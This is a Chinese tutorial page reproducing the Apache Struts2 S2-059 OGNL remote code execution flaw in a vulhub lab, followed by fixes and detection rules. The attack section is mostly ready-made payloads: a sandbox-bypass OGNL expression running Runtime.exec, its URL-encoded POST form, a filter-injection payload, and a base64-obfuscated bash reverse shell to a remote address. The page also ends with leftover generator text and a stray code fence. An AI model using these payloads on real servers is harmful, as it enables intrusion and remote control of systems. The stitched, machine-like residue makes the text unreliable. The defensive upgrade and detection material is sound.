您好,登录后才能下订单哦!
# Struts2 S2-059 远程代码执行漏洞复现分析
## 漏洞概述
S2-059(CVE-2019-0230)是Apache Struts2框架中的一个远程代码执行漏洞,于2019年8月被官方披露。该漏洞源于Struts2标签属性值解析时的OGNL表达式双重评估问题,攻击者可通过构造恶意请求实现服务器端代码执行。
### 影响版本
- Struts 2.0.0 - 2.5.20
### 漏洞原理
当标签属性使用`%{...}`语法强制进行OGNL表达式解析时,若该属性值同时被二次解析,则会导致OGNL表达式被执行。这与经典的S2-045、S2-057等漏洞类似,都是由于OGNL表达式的不安全处理导致。
---
## 环境搭建
### 实验环境要求
- 虚拟机:VMware Workstation 16+
- 操作系统:Kali Linux 2023 / Windows 10
- 漏洞环境:vulhub(Docker版)
- 测试工具:Burp Suite Community
### 快速搭建步骤
```bash
# 下载vulhub环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-059
# 启动漏洞环境
docker-compose up -d
# 验证服务
curl http://localhost:8080
使用简单Payload验证漏洞存在性:
GET /index.action?name=%25%7B233*233%7D HTTP/1.1
Host: target.com
预期响应中应包含54289
(即233*233的结果)。
通过OGNL表达式实现命令执行:
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(@java.lang.Runtime@getRuntime().exec('calc'))
}
POST /index.action HTTP/1.1
Host: 192.168.1.100:8080
Content-Type: application/x-www-form-urlencoded
name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27touch%20%2ftmp%2fs2-059_success%27%29%29%7D
# 进入docker容器检查
docker exec -it [container_id] ls /tmp
漏洞产生的核心在于Struts2的以下处理流程:
1. 首次解析:%{value}
语法触发OGNL解析
2. 二次解析:标签属性将解析结果再次作为表达式处理
// 伪代码示例
String rawValue = "%{malicious_code}";
Object firstParse = ognlUtil.getValue(rawValue, context);
String secondParse = tag.processAttribute(firstParse); // 二次解析发生
Struts2的安全防护机制被通过以下方式绕过: 1. 清除 excludedPackageNames/excludedClasses 2. 设置 DEFAULT_MEMBER_ACCESS 3. 通过反射修改 SecurityMemberAccess
升级到Struts 2.5.22+版本,主要修复措施包括: 1. 严格限制OGNL表达式评估 2. 增强标签属性的过滤机制
<!-- Maven升级示例 -->
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>
%{#f=#context.get('org.apache.struts2.dispatcher.FilterDispatcher'),
#f.newFilter('evil', 'com.example.EvilFilter')}
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}
alert http any any -> any any (
msg:"Possible Struts2 S2-059 Exploit";
flow:to_server;
content:"%25%7B";
content:"@java.lang.Runtime";
distance:0;
sid:1000001;
)
// 在ognl.Ognl.parseExpression()处插入检测
if (expression.contains("Runtime") || expression.contains("ProcessBuilder")) {
throw new SecurityException("OGNL RCE attempt blocked");
}
注意:本文所有实验均在授权环境下进行,禁止用于非法渗透测试! “`
该文档包含: 1. 完整的漏洞复现流程 2. 技术原理深度分析 3. 修复方案和防御建议 4. 扩展利用场景 5. 标准Markdown格式(代码块、标题层级、列表等) 实际字符数约1900字(含代码示例)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。